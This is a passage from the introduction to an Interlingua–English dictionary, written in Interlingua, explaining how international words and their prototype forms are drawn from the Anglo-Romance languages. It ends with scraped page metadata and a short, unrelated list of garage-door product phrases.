anglo\n-\nro\nmance de linguas pote vangloriar se de un total de quasi un medie\nmilliardo de parlatores. Iste quarto del humanitate include nulle considerabile\ngruppo ethnic que non es involvite e interessate in cosas international. Ni, in veritate,\nillo include omne po\npulationes del terra que es involvite e interessate in cosas\ninternational sed certo le major parte de illos.\nAlicun exemplos pote esser utile pro monstrar que le gruppo anglo\n-\nromance de\nlinguas certo constitue un sphera de linguas fonte in le qual parolas\ninternational del\nplus variate origines pote esser colligite. Le parola hebree pro 'inferno',\nGe Hinnom\n,\nes largemente international, sed pro mitter lo in le vocabulario international, il non es\nnecessari investigar le lingua hebree, proque le parola appa\nre in anglese como\nGehenna\n, in francese como\ngéhenne\n, in espaniol como\ngehena\n, in italiano eomo\ngeenna\n. Le parola arabic que appare in anglese eomo\nalcove\npote equalmente esser\nretrovate in le sphera restricte, nam illo appare in italiano e portugese eomo\nalcova\n,\nin espaniol eomo\nalcoba\n, e in francese eomo\nalcove\n. Un exemplo de un parola\ninternational de origine russe es illo que appare in anglese como\nmammoth\n, in\nfrancese como\nmammouth\n, in espaniol eomo\nmamut\n, e in italiano eomo\nmammut\n.\nUn exemplo german e\ns anglese\nfeldspar\n, francese\nfeldspath\n, italian\nfeldispato\n,\nespaniol\nfeldespato\n.\nLe rationamento in favor de un sphera restricte pro colliger le parolas international\nnon preclude le possibilitate de displaciar su frontieras in le interesse de un prisa plu\ns\nric. In loco de un o duo linguas del gruppo anglo\n-\nromance un o duo altere linguas de\nsignificantia al minus equal in le campo international pote esser includite, sub le\n20\ncondition, naturalmente, que le cosas examinate es ancora tenite insimul per un base\ncommun, lo que significa que lor centro de gravitate remane in le sphera anglo\n-\nromance. In le compilation de iste Dictionario esseva admittite al campo de recerca\nextender se a germano, o russo, o a ambes. Al decision de non usar le mesme\nprocedura pro alt\nere linguas esseva attingite post que ample tests habeva\ndemonstrate que le complication consequente de nostre methodologia non haberea\nafficite le resultatos in grado perceptibile.\nSummario\nDe omne linguas que unquam obteneva plus que utilitate national o\nn pote dicer que\nillos esseva portate trans lor confinios original per un expansive dynamismo cultural\ne utilitari. Illos fungeva como indispensabile utensiles cultural e utilitari. Le moderne\ninternationalitate es largemente conditionate per le scientia e\nle technologia in le\nsenso le plus comprehensive. Le lingua del scientia e del technologia es le moderne\nlingua international o interlingua. Illo non es, in senso stricte, un lingua complete sed\nes plus tosto un corpore multo comprehensive de terminos int\nernational que\nconstitue le nucleo de un interlingua. Le lingua international ha absorbite material\ndel plus variate origines sed su centro de gravitate es in le sphera del tradition\ngrecolatin. Illo pote esser colligite intra le confinios de un gruppo hom\nogenee de\nlinguas fonte o linguas de controlo que non solmente representa le tradition\ngrecolatin in nostre tempore sed que equalmente absorbeva omne significante\nparolas international radiate de altere centros. Iste gruppo es le gruppo anglo\n-\nromance de li\nnguas con le germano e le russo como contribuentes potential.\nMethodo e technicas\nEligibilitate de parolas international\nParolas es eligibile in le vocabulario international si illos es currente in tote le sphera\nanglo\n-\nromance de linguas. Le linguas que s\nia individualmente scrutinate es italiano,\nfrancese, anglese e, combinate, espaniol e portugese. Le combination del duo linguas\niberic es indicate non proque lor importantia separate esserea dubitabile sed proque\nlor significantia in le assemblea del lingu\nas romance es similar. Le absentia de un\nparola in le vocabulario de un del linguas mentionate es multe vices un coincidentia\nque non pote justificar le retention de illo del vocabulario international. Germano o\nrusso pote reimplaciar qualcunque del fontes\nanglo\n-\nromance. In summa, le criterio\nde internationalitate pote preliminarmente esser formulate como seque: Un parola\ndebe esser acceptate como international quando su presentia es certificate\n–\nin\nformas e significationes correspondente\n–\nin al minus tre\ns del linguas italian,\nespaniol e\/o portugese, francese e anglese con germano e russo como possibile\nsubstitutos.\nLe application practic se confronta con alicun problemas specific.\n21\n1\n.\n–\nLe determination si o non un parola existe in un del linguas non es se\nmper clar e\nfacile. Il non es ni possibile restringer se al mentiones in alicun seligite dictionarios ni\nconsiderar omne obscur entrata in fontes le plus comprehensive. Terminos technic\nsia cercate in dictionarios technic, durante que expressiones quotidia\nn sia traciate in\ndictionarios commun que representa le lingua de omne dies. In plus, le\ninvestigationes non pote limitar se in omne casos al moderne vocabulario currente.\nPer exemplo, durante que le actual parola francese\ntuer\n(occider) non es parentate a\nl\nparola italian\nuccidere\ncon le mesme signification, il ha vestigios in francese del\nancian\noccire\n, e mesmo in espaniol, cuje parola normal pro 'occider' es\nmatar\n, un\nancian verbo correspondente con italian\nuccidere\ne francese\noccire\nha supervivite al\nmin\nus in le forma participial\nocciso\n. In iste caso como etiam in casos similar on pote\nargumentar que celate detra, e representate per\ntuer\ne\nmatar\n, il ha formas plus vetule\nque corresponde con italian\nuccidere\n, de maniera que le requirimentos de\ninternationa\nlitate es plenmente complite con respecto a un parola pro anglese \"to\nkill\" que directemente corresponde al latin\noccidere\n.\nApplicate a su conclusiones extreme iste procedura justifica le adoption in le\nvocabulario international de parolas que corresponde\ncon omne terminos latin sub le\ncondition que lor conceptos existe in un o altere forma in le linguas moderne. A prime\nvista un interpretation tanto large del regula de internationalitate\nmoderne\nde parolas\npote parer arbitrari. Tamen, post un examination p\nlus stricte, le facto se intrude que\ntote le linguas del mundo occidental ha le habitude de recurrer al materia lexical\nclassic e ante toto latin quandocunque nove terminos debe esser formulate, tanto in\ncasos ubi novelle ideas, factos o objectos debe nomi\nnar se, como etiam si il ha\nnecessitate de un synonymo pro un termino traditional jam disponibile.\n2\n.\n–\nAl principio de correspondentia de formas de parolas in le varie linguas\ncontribuente on debe admitter qualque latitude. Le parolas anglese\nautomobile\ne\nfidelity\ncorresponde completemente con francese\nautomobile\ne\nfidelité\no espaniol\nautomóvil\ne\nfidelidad\n. Le secunde es in omne linguas un descendente directe de latin\nfidelitas\n,\nfidelitat\n-\ne consiste ubique de un adjectivo que deveniva un substantivo per\nle adjunction de un mesme suffixo in varie formas etymologicamente identic. Le\nprime es in omne linguas un composition moderne que etiam consiste in omne casos\nde elementos etymologicamente identic. Tamen, in un exemplo como italian\namaritudine\non trova qu\ne ni le equivalente espaniol ni le francese monstra un\ncomplete correspondentia etymologic. Francese\namertume\ne espaniol\namargor\ncomo\netiam le synonymos italian\namarore\ne\namarezza\nha substituite altere elementos pro le\noriginal suffixo latin. Tal substitut\niones de suffixos, que non esseva causate per\nnecessitates expressive, non debe dar un motivo pro denegar a un parola specific le\nplen stato international, proque pro tales le deviation formal non implica un\ndeviation de signification.\nNumerose exemplos de\niste genere es fornite per adjectivos anglese que in plure casos\ndiffere de parolas correspondente in altere linguas per un suffixo excrescente sin\nsignification. Le suffixo\n-\nal\nin anglese\nfanatical\nnon ha un signification; illo non face le\nparola differe\nr in ulle senso del synonymo\nfanatic\ne non admitte un discrimination\ninter illo e francese\nfanatique\n, italian\nfanatico\n, etc. Le mesmo vale pro le typo anglese\nvoracious\nque contine un suffixo \"superflue\", i.e. specificamente anglese e sin\nsignification,\n-\ni\nous\n. Le parola correspondente francese es\nvorace\n, espaniol\nvoraz\n, etc.\n22\n3\n.\n–\nIl ha numerose parolas que, paradoxemente, non se trova in un lingua particular,\nsed que es potentialmente presente in illo. In anglese, per exemplo, le typos\nderivational de\nversa\ntile\n-\nversatility\n,\nvisible\n-\nvisibility\n, etc. es tanto normal que le caso\nexceptional de un sol\nproximity\n, sin un adjectivo correspondente, pare esser un\n\"accidente\" peculiarmente anglese. Il deberea haber un adjectivo\n*proxim\no forsan\n*proximous\n. Le frequent\nia e le nettemente definite character del suffixo anglese\n-\nity\npermitte le assertion que con le substantivo\nproximity\nil existe\n–\npotential\n-\nsi non\nfactualmente\n–\nun adjectivo que es parallel al de facto existente parola italian\nprossimo\ne que assi contrib\nue al internationalitate del simple adjectivo detra le\nsubstantivo derivate. Le mesme rationamento non esserea valide in le caso que le\nadjectivo al fundo de\nproximity\nnon existeva in ulle lingua. Al altere latere illo es\napplicabile in casos de situatione\ns reverse, ie. si le parola simple es toto international\ndurante que le parola derivate es solo \"potentialmente\" disponibile.\nLe affixos que malgrado lor existentia in formationes de sphera limitate, se introduce\nin le vocabulario international, debe esser\ne frequente e inambigue. Omne istos que\npote esser ponite in iste categoria, es representate per entratas special in le corpore\ndel Dictionario. Un lista complete se trova infra in le section \"Le vocabulario\ninternational\".\nLo que esseva dicite super form\nationes con affixos de sphera limitate es valide etiam\npro compositiones. Le parola italian pro le anglese 'match, lucifer' es\nfiammifero\n. Isto\nes un composition de elementos que es completemente international e toto\ninambigue. Le parola in iste forma se t\nrova solmente in un singule lingua, sed le\nrepresentation de su elementos in omne linguas contribuente justifica le pretention\nque le parola es potentialmente international. In un considerabile numero de casos in\nque ideas de plen internationalitate se mon\nstra esser representate per numerose\nterminos etymologicamente toto sin interrelation, on pote trovar adequate\ntranslationes in le vocabulario international per examinar omne translationes\nmonolingual con respecto a lor representationes potential in le lin\nguas fonte in toto.\nForma de parolas international\nLe formas in que le parolas international es registrate debe esser ni italian, ni\nfrancese, espaniol, portugese, anglese, german o russe; illos debe esser international.\nIsto implica que toto sia eliminate\nde illos que es un tracto characteristic de un\nsingule lingua. Si le parola espaniol pro 'earth' es\ntierra\n, le forma international de isto\nnon debe continer le diphthongo\n-\nie\n-\nque es un specific disveloppamento espaniol. Le\nforma international que corresp\nonde a francese\naimer\nnon debe terminar se in\n-\ner\nque es un specific disveloppamento francese. Ancora, si le parola\nvoracious\nes\nadmittite a entrar in le vocabulario international, illo non pote apparer ibi con le\nsyllaba final\n-\nious\nproque isto es un pecu\nliar excrescentia anglese.\nAl altere latere, le forma international de un parola debe esser un tal que cata tracto\nidiosyncratic del representation de illo in un singule lingua particular debe esser\nexplicabile como un mutation monolingue de illo. Illo deb\ne esser le prototypo de que\nomne formas contribuente es variationes specialisate. Per exemplo, le prototypo de\nfrancese\nterre\n, espaniol\ntierra\n, portugese e italian\nterra\nes\nterra\n. Le termination\nfrancese\n-\ne\ne le diphthongo espaniol\n-\nie\n-\nes respectivemente\nspecific\ndisveloppamentos francese e espaniol del original termination neutral\n-\na\ne del\n23\noriginal monophthongo\n-\ne\n-\n. Le resultante forma international\nterra\npote haber le\naspecto de formas italian, portugese e latin, sed illo es \"international\" e non italian\n,\nnon portugese e non latin. In multissime casos le prototypo e per consequente le\nforma international de un parola coincide con le original etymologic, isto es, quando\nparolas es derivate de latino, le forma ancestre latin. Sed isto non es un necessitate\nabsolute. Si le diphthongo de\ntierra\nnon esseva un peculiaritate espaniol, sed existeva\netiam in italiano e francese, le prototypo e per consequente le forma international\nnon esserea\nterra\nsed\n*tierra\n.\nUn exemplo plus characteristic (e plus complexe) es\nillo de latin\ncausa\nque appare in\nle linguas moderne como duo distincte parolas, le un representate per italian,\nespaniol, portugese\ncausa\ne francese, anglese\ncause\n, le altere per italian, espaniol\ncosa\n, portugese\ncousa\ne francese\nchose\n. Le prototypo del p\nrime es\ncausa\n, e illo del\naltere es\ncosa\n, de que le\nch\n-\ninitial e le\n-\ne\nfinal in le francese e le diphthongo\n-\nou\n-\nin\nportugese es deviationes peculiarmente francese e portugese, que pote esser explicate\ncomo effectos de leges phonetic francese e portugese.\nLe mutation de latin\n-\nau\n-\nin\n-\no\n-\nes un disveloppamento de character international.\nSecundo le objectivo general de crear formas international non\n-\nspecialisate, le\nprototypos non debe esser determinate per un tracto que se trova in solmente un\nsingule ling\nua. Un tracto monolingue sia ignorate proviste que un tal procedura non\nreduce le sphera international sub le minimo stipulate. Pro referer de novo al\nexemplo de latin\ncausa\n, in le branca del prototypo\ncosa\n, omne formas contribuente\ncon le exception de por\ntugese monstra le vocal\n-\no\n-\n. Si le portugese\nou\n-\nesseva non un\ndiphthongisation specificamente portugese de un previe\n-\no\n-\n, sed plus tosto un tracto\nremanente del diphthongo\n-\nau\n-\n, le forma resultante ancora non continerea un\ndiphthongo proque tres linguas\n–\nespaniol, francese, italiano\n–\nexhibe un simple\n-\no\n-\n.\nTerminationes\nComo omne altere elementos formative, etiam suffixos appare in definite formas\nprototypic que non erraticamente varia de un caso a un altere. Si il es un facto historic\nque le suffixo in a\nnglese\nagile\ne illo in\nfossil\nes le mesme, e si in plus le altere linguas\ncontribuente revela que illos es equal (lo que in effecto illos es) alora le differentia\nanglese inter iste particular\n-\nile\ne iste particular\n-\nil\nnon debe monstrar ulle tracia in le\nformas international.\nLe forma commun de que le suffixo representate per anglese\n-\nal\nse ha disveloppate in\nle varie linguas, es un forma cognite in un conception grammatic como le forma\nprimitive del oblique casos latin de\n-\nalis\n, a saper\n-\nale\n. Iste\n-\nale\nes\nle ancestre de omne\nvariantes contribuente, sed le complete graphia se mantene solmente in italiano.\nOmne altere linguas de controlo omitte le\n-\ne\nfinal. Pro isto le prototypo que servi\ncomo le forma international del suffixo similemente lo omitte e illo a\nppare como\n-\nal\n.\nUn pauco plus complexe es le caso del suffixo parallel que originava de latin\n-\nilis\n. Illo\nse trova etiam in italiano con le termination\n-\ne\nin omne casos, sed le juxtaposition de\nun par de exemplos como anglese\ncivil\n,\nagile\n, espaniol\ncivil\n,\nagil\n, italian\ncivile\n,\nagile\ne\nfrancese\ncivil\n,\nagile\nface introducer duo formas prototypic, le un,\n-\nil\n, que es\naccentuate e que omitte le\n-\ne\nfinal; le altere\n-\nle\n, equipate con un\n-\ne\nfinal e adjungite a\nun syllaba accentuate.\n24\nIste factos on pote reguardar\ninversemente assi que\n–\ncomo un regula general que es\nvalide pro formas inserite in le Dictionario un\n-\ne\nfinal post\n-\nl\n-\n(e equalmente post\n-\nn\n-\ne\n-\nr\n-\n) se monstra esser un indication que le accento debe cader super le\nantepenultime syllaba, como in\nagile\n(op\nposite a\ncivil\n), in\nautomobile\n(opposite a\ninfantil\n), in\nordine\n(opposite a\nasinin\n), in\narbore\n(opposite a\nprofessor\n), etc. Vide\netiam le regulas del pronunciation.\nTermination de infinitivos\nLe procedura con prototypos exponite hic supra producerea infini\ntivos in\n-\nare\n,\n-\nere\ne\n-\nire\n. Como in le caso de\n-\nal\ne\n-\nil\n, il es solmente italiano que retene le\n-\ne\nfinal\nnormalmente. Post que, totevia, anglese adopta verbos romance in general sin le\nterminationes del infinitivos romance, illo non pote supportar francese\ne le linguas\niberic pro annullar le conservation del\n-\ne\nfinal. Si iste \"abstention\" anglese non debe\nadmitter al italiano resolver le question in favor de su proprie usage unic, remane\nsolmente le possibilitate facer le formas prototypic de infinitivos se\nquer le modello de\ncasos comparabile, como per exemplo illo del suffixos\n-\nal\ne\n-\nil\n. Assi le formas\nprototypic del terminationes de infinitivos deveni\n-\nar\n,\n-\ner\ne\n-\nir\n.\nPost que le subdivision de verbos latin in\n-\nere\nin duo gruppos con respectivemente le\nacc\nento tonic super le penultima e le antepenultima, es clarmente retraciabile intra le\nsphera del moderne linguas romance, on poterea determinar le termination del\ninfinitivo separatemente pro cata un del duo gruppos. Le distinction resultante de\nverbos in\n-\ner\ncon le accento super le ultime syllaba e un gruppo minor de verbos in\n-\nere\ncon le accento super le antepenultima corresponderea in general con duo typos de\nderivation. Le verbos in\n-\ner\nfornirea derivationes \"debile\" in\n-\nit\n-\nplus\nion\n,\n-\nive\n,\n-\nura\n,\netc. du\nrante que le verbos in\n-\nere\nformarea tal derivationes per adder\n-\nion\n,\n-\nive\n,\n-\nura\n,\netc. a un radice \"forte\" o modificate. In le Dictionario un tal distinction non ha essite\nexequite.\nTerminationes de adjectivos\nUn problema special es ponite per le categoria\nde adjectivos que mantene in omne\nlinguas romance un differentia inter formas masculin e feminin. Hic le procedura del\nprototypos collide con un tracto grammatic que debe esser considerate nunc ben que\nquestiones grammatic generalmente non ha loco in un d\niscussion purmente lexical.\nLe prototypo de anglese, francese\ngrand\n, italian, espaniol, portugese\ngrande\nemerge\nlisiemente como\ngrande\n. Tamen, in casos como illo del parola international que\ncorresponde a anglese\nsaint\n, le resultante es indecise proque hi\nc le original systema\ninflectional supervive in tote le linguas romance non solmente con un forma distincte\npro le plural sed etiam con distincte formas masculin e feminin. Le prototypo\nadjectival de anglese, francese\nsaint\n, espaniol, portugese, italian\nsa\nnto\nesserea\n*sancto\n, sed illo de anglese\nsaint\n, francese\nsainte\n, espaniol, portugese, italian\nsanta\nesserea\n*sancta\n. Quando usate como substantivos pro representar un persona sancte,\nle forma\nsancto\npro le masculo e le forma\nsancta\npro le femina es satisfa\nctori. Sed in\nfunctiones adjectival illos esserea usabile solmente si le grammatica del lingua\ninternational debeva conservar un distinction correspondente de generes.\n25\nIl es possibile figurar se le vocabulario international in functionamento con un\nsystema\ngrammatic que in effecto mantene un distinction de generes. Tentativas in\niste direction esseva notate, sed illos forma un minoritate. Le procedura applicate in\nle Dictionario es illo que es favorite per le majoritate de usatores del vocabulario\ninternati\nonal. Omne adjectivos es tractate como si latino e le linguas romance\ncognosceva solmente le singule typo de adjectivos in que il ha nulle distinction inter\nmasculin e feminin. Le entratas resultante in le Dictionario exhibe nulle differentias\nin terminati\nones inter le typos\ngrande\ne\nsancte\n.\nForma de parolas international in\nseries derivational\nLe prototypo, como discutite usque hic, on pote definir como le plus proxime\ncommun ancestre documentate o hypothetic de que omne variantes contribuente\npote disvelo\nppar se in accordo con le leges e motivos individual que functiona in le\nvarie linguas considerate. Isto implica que in le caso de substantivos e adjectivos que\noriginava in latino le prototypo normalmente ni coincide con ni se basa super le\nnominativo ori\nginal (isto es le forma que es conventionalmente inserite in le\ndictionarios) sed plus tosto que illo ha le aspecto del crude (i.e. truncate) forma del\ncasos oblique latin. Isto es proque le linguas romance, quando\n–\nin le curso de lor\ndisveloppamento ex l\natino\n–\nillos abandonava le systema de declinationes de\nsubstantivos e adjectivos, normalmente non preservava un caso al costo de tote le\nalteres; illos normalmente preservava un composito del varie casos oblique. Francese\npied\n, espaniol\npie\n, etc. non prov\neniva ab latin\npes\nsed ab latin\npede\nque on pote vider\ncomo un representante de\npedem\n,\npedis\n, etc.\nNunc il es le radice del casos oblique latin (i.e. le radice como base del prototypo\ninternational) que appare de novo in le derivationes ab substantivos e a\ndjectivos. Un\nparola como\ntemporal\n(considerate o in su variante anglese o in ulle altere variante)\nnon proveniva ab le radice latin\ntempus\nsed ab illo de\ntemporis\n,\ntempore\n, etc. Un\nparola como\npontifical\nse basa non super le radice de latin\npontifex\nsed s\nuper illo de\npontificem\n, etc.\nLe prototypo de anglese\npontiff\ne correspondente variantes romance que determina le\ninternationalitate del parola es\npontifice\n. Illo de anglese\npontifical\ne su equivalentes\nromance es\npontifical\n. Le consistentia de forma in le\nduo prototypic\npontifice\n-\npontifical\n(in contrasto a anglese\npontiff\n-\npontifical\no german\nPontifex\npontifikal\n) es\nun tracto importante del vocabulario international. Illo permitte le interpretation de\npontifical\n, pro si dicer, como un forma special pro uso\nspecial de\npontifice\njusto\ncomo, dice\n-\nnos,\nbrotherly\nin anglese on poterea appellar un forma special, isto es, le\nforma adjectival de\nbrother\n. Si iste tracto debe esser generalmente eharacteristic del\nlingua international, on debe semper facer derivationes\nhaber un relation con le\nformas prototypic que constitue su vocabulario. Per exemplo, le prototypo de italian\ntempo\n, espaniol\ntiempo\n, portugese\ntempo\n, francese\ntemps\ndebe esser; viste le\nderivationes,\ntempore\n, malgrado le facto que le plus proxime forma a\nncestre commun\nde iste variantes es\ntempus\no al minus, si francese es ignorate,\ntempo\n. Italian\ncuore\n,\nespaniol\ncorazón\n, portugese\ncoraçao\n,\ncor\n, francese\ncœur\nnon converge in\ncore\nque\nreflecterea le declination in latino vulgar\ncor\n,\ncoris\n(in vice de classi\nc\ncor\n,\ncordis\n) sed\n26\nes standardisate como corde, viste le derivation\ncordial\n, un forma in latino ancestral\ncon le suffixo\n-\nial\npost le radice\ncorde\n.\nFamilias de parolas\nLe relation que, in le procedura de protypos, derivationes ha con lor base, establi in l\ne\nstandardisate vocabulario international clar consistentias in series derivational. Tal\nseries, frequentemente cumulate in familias de parolas, plus o minus extense, existe\nin omne linguas de controlo. Sed in multe casos illos ha devenite indistincte per\npeculiar tendentias o \"accidentes\" historic, e il deveni un del plus importante\nfunctiones del technica de prototypos render a illos lor debite sphera de application.\nIndistincte gruppos como\nletter\n-\nlitteral\no\npublish\n-\npublication\nse manifesta in le\nvocabul\nario international in clar gruppos consistente como\nlittera\n-\nlitteral\n,\npublicar\n-\npublication\n. Isto es importantissime pro le libere formation de derivationes\nautonome in un lingua auxiliar.\nLe principio que determina le limitation de gruppos derivational o f\namilias de parolas\nin le vocabulario international es illo de un parallelo inter consistentias formal e\nsemantic. Post que le idea de\ncausal\nes un derivation de illo de\ncausa\n, le\ncorrespondente vocabulo standardisate appare in un gruppo formalmente consist\nente\ncomo\ncausa\n-\ncausal\n. Post que, al altere latere, le idea de\ncausa\nes nullemente un\nderivation del anglese\nthing\n(malgrado que francese\nchose\n, espaniol\ncosa\n, etc. es\ndisveloppamentos historic de latin\ncausa\n), le standardisate parola international que\ncor\nresponde a\nthing\nnon appare in le mesme gruppo sed emerge como\ncosa\n. Le\nprototypos\ncausa\ne\ncosa\npertine in le quadro del vocabulario international a duo\ndifferente familias, ben que tote le parolas correspondente in le linguas romance de\ncontrolo es membro\ns del singule familia etymologic de latin\ncausa\n.\nIste e affin aspectos del technica de prototypos e su resultatos es specialmente\nsignificante in le caso de certe verbos e lor derivationes. Un analysis plus detaliate de\nalicun familias de verbos pote esse\nr utile in iste respecto.\nTener\nes le prototypo de italian\ntenere\n, espaniol\ntener\n, portugese\nter\n, francese\ntenir\n.\nLe ancestre latin es\ntenere\n, que es le capite de un grande familia de derivationes e\ncompositos. Inter le derivationes que es international e\nque se trova etiam in anglese,\nes\ntenace\n,\ntenacitate\n,\ntenor\n, 'tenacious, tenacity, tenor', etc. In latino le compositos de\ntenere\nappare con un eharacteristic mutation de vocal in\nabstinere\n,\ncontinere\n,\nobtinere\n, etc. (con derivationes de ambe typos\nabstine\nntia\ne\nretentio\n). Le linguas\nmoderne non manteneva iste e similar mutationes de vocal in le infinitivos composite\nsed adaptava los al forma del simple verbo, per exemplo, espaniol\ntener\n-\nabstener\n,\nfrancese\ntenir\n,\ncontenir\n, etc. Tamen, le derivationes intern\national de alicunes de iste\ncompositos (\nabstinente\n,\ncontinente\n, etc.) repelle los ad in le patrono latin e le\ninfinitivos appare in le vocabulario international como\nabstiner\n,\ncontiner\n,\npertiner\n,\nsed\ndetener\n,\nintertener\n,\nmantener\n,\nobtener\n,\nretener\n,\nsustene\nr\n.\nIn le caso de iste familia de verbos le differente brancas es concatenate per un assatis\nclar consistentia in signification.\nLe idea de anglese \"to hold\" es preservate in omne\nverbos:\ncontiner\nes \"to hold as contents\" o \"to hold back\";\nmantener\nes \"to u\nphold\";\ndetener\n\"to hold in custody\"; etc.\nUn caso in que un del brancas de un familia\netymologic de verbos se ha completemente distachate, tanto in forma como senso,\n27\ntanto in le linguas de controlo como per consequente in le vocabulario international,\nes\nillo de latin\npendere\n\"to suspend\" e \"to weigh\" con le derivation\npensum\n'something weighted, a weight'. Su frequentativo\npensare\n'to weigh' e in senso\nfigurative 'to ponder, consider' faceva surger in le linguas romance duo distincte\nseries derivational.\nLe parolas pro 'to weigh' es italian\npesare\n, espaniol e portugese\npesar\n, francese\npeser\n(confronta etiam anglese\nto poise\n). Illos es toto distachate tanto\nin forma como in signification ab le parolas romance pro 'to think': italian\npensare\n,\nespaniol e port\nugese\npensar\n, francese\npenser\n, cuje forma standardisate es\npensar\ne\ncuje derivationes se presenta in\npensative\n,\npensator\n, etc. In le linguas moderne nulle\nde iste parolas se manifesta, ni in forma ni semanticamente, como un derivation de\n'to weigh'. Per co\nnsequente le parola international pro 'to weigh' non es influentiate\nper illos e appare como\npesar\nque on pote reguardar como un derivation de\npeso\n'weight' (le prototypo de italian, espaniol, portugese\npeso\n, francese\npoids\n, etiam\nanglese\npoise\nab le hic s\nupra mentionate latin\npensum\n); e\npeso\n-\npesar\nconstitue un\nnovelle familia independente de\npensar\n.\nUn caso legiermente differente es presentate per le familia de latin\nprehendere\n,\nprendere\n'to seize'. Le derivation\nprehensio\n,\nprensio\n'act of seizing' es repr\nesentate in\nle linguas de controlo per italian\nprension\n, espaniol\nprensión\n, portugese\npreensão\n,\nfrancese\npréhension\n, anglese\nprehension\n, que rende le prototypos\nprehension\ne\nprension\n. Le contrahite forma latin\nprensio\nha producite un altere serie toto\ndist\nachate del prime. Iste serie es representate per italian\nprigione\n, espaniol\nprisión\n,\nportugese\nprisão\n, francese e anglese\nprison\n. Phoneticamente omne iste variantes\nnational ha in commun le perdita del latin\nn\nante\ns\ne le cambiamento de\ne\nin\ni\n. Etiam\nseman\nticamente on percipe nulle connexion inter 'prison' e 'act of seizing'. In plus le\nderivationes construite de\nprison\n, per exemplo,\nprisoner\n,\nto imprison\ne lor\nequivalentes romance ha un stricte relation solmente con lor immediate base e non\ndel toto con le\nfamilia latin original de\nprehendere\n. Assi resulta un familia distachate\nprision\n,\nprisionero\n,\nimprisionar\n, etc.\nExemplos non\n-\nlatin\nLe illustrationes del technica de prototypos presentate usque hic es omnes concernite\ncon parolas derivate de latino o const\nruite de material latin. Illustrationes additional\nes requirite pro le sequente gruppos: 1) parolas de origine grec includente\nformationes classic\n–\nimportate directemente o transmittite via latino\n–\ncomo etiam\nneologismos construite de grec material lexic\nal. 2) parolas de origine germanic que\npenetrava in le linguas romance in un periodo post\n-\nclassic e toto se assimilava in\nillos. 3) parolas foranee que esseva prendite a varie periodos de plure fontes foras del\ngruppo de linguas romance e anglese e que se\nassimilava in un mesura major o\nminor.\nInter le parolas de origine grec il ha multe formationes con le valor semantic de\nderivationes que formalmente es distachate de lo que poterea esser considerate como\nlor base. In le vocabulario standardisate illos con\nsequentemente exerce nulle\ninfluentia super le forma del base. Assi le forma international de\ntherapeutic\nnon ha\nun liga formative con\ntherapia\n, nam ben que le un es clarmente le adjectivo que\npertine al altere, il non ha un directe relation derivational i\nnter illos. Al fin ambes es\nderivate de un tertie vocabulo, le verbo grec\ntherapeuein\n. 'Therapy' appare in le\nvocabulario international como\ntherapia\ne 'therapeutic' como\ntherapeutic\n. Le\n28\ninterdependentia semantic del duo non se reflecte plus in le vocabula\nrio international\nque in le vocabularios de omne linguas de controlo. Illos appare in le Dictionario\ncomo duo entratas non parentate.\nIn altere casos le formal relation per derivation que de facto existeva in greco ha\nessite toto disrumpite in le linguas m\noderne que tracta iste vocabulos exactemente\ncomo illos del typo\ntherapia\n-\ntherapeutic\n. Iste disruption es in multe casos debite al\nfacto que membros de un certe gruppo derivational in greco esseva prendite per le\nlatino o per le linguas moderne como vocabu\nlos separate cuje connexion con altere\nvocabulos grec del mesme familia (prendite separatemente per iste linguas) non\nesseva visibilisate in lor formas. Grec\nphlegmatikos\nesseva effectivemente un\nderivation de\nphlegma\nsuper le radice inflectional\nphlegmat\n-\n. Totevia iste vocabulo\nnon appare in un del linguas moderne e certemente non in un del membros del\nanglo\n-\nromance gruppo de controlo in un forma que corresponde con le vetule radice\ninflectional o derivative. Illo es representate ubique per le nominativo g\nrecolatin e\nappare conformemente in le vocabulario international como\nphlegma\nnon\ninfluentiate per su adjectivo associate\nphlegmatic\n.\nIn le majoritate del vocabulos de origine grec, totevia le consistentia formal de series\nderivational se manifesta in le v\nocabulario international tanto clarmente como isto\neveni in le caso de vocabulos de origine latin.\nPost le greco, le plus importante contributiones non\n-\nromance al vocabulario\ninternational es sin dubita le linguas e dialectos germanic. Lor parte in le voca\nbulario\ninternational face surger duo observationes special.\nIl ha un grande numero de casos de parolas anglese de origine germanic que es\nparentate a parolas in altere linguas de controlo per un affinitate indoeuropee.\nExemplos es anglese\nbeech\ne espaniol\nhaya\n; anglese\nfather\ne italian\npadre\n; anglese\nbrother\ne francese\nfrère\n; etc. In omne tal casos le forma germanic (naturalmente sub\nle condition que il ha un perfecte correspondentia formal e semantic) pote esser\nreguardate como un variante contribuente qu\ne adde al extension international del\nparola concernite. Quanto al technica del prototypos, parolas de iste categoria debe\nstandardisar se exclusivemente super le base de lor variantes romance. Hic le\ninclusion de cognate formas germanic producerea prototy\npos super un base indo\n-\neuropee que es multo troppo stricte pro supportar un vocabulario international. Assi\nfrancese\nfrère\n, italian\nfratello\n(con un suffixo que pote esser ignorate) e anglese\nbrother\ndetermina le internationalitate de un parola que es repr\nesentate per le forma\nstandardisate\nfratre\n, sin referentia al variante germanic.\nUn problema contigue e considerabilemente plus importante es illo de parolas de\norigine germanic representate per prestate variantes in le romance linguas de\ncontrolo, si o no\nn illos es supportate per un forma hereditate in anglese. Le major\nparte del parolas de iste specie esseva adoptate per le linguas romance durante le\nmedievo quando le suprematia germanic, specialmente in le campos de lege e guerra,\nesseva perceptibile in\nomne regiones del mundo occidental. Si le forma anglese de tal\nparolas es disponibile (e generalmente illo lo es), illo pote de novo esser reguardate","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.techylib.com\/en\/view\/raspgiantsneck\/introduction_interlingua-anglese","date":"2017-03-25T19:52:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189032.76\/warc\/CC-MAIN-20170322212949-00662-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.9997316003,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9997316002845764}","num_words":14257,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":1025.8,"cluster_detection":-1} +{"text":"porta basculante garage porte de garage basculante novoferm\nporta basculante garage quanto costa porta basculante garage edilnet it\nporta basculante garage 187 portoni garage basculanti\nporta basculante garage porte de garage basculante manuelle h 200 x l 240 cm avec\nporta basculante garage porte de garage basculante isolante motoris 233 e moos avec\nporta basculante garage porte de garage basculante novoferm\nporta basculante garage porte de garage basculante grise h200xl240 bricoman\nporta basculante garage porte de garage basculante avec 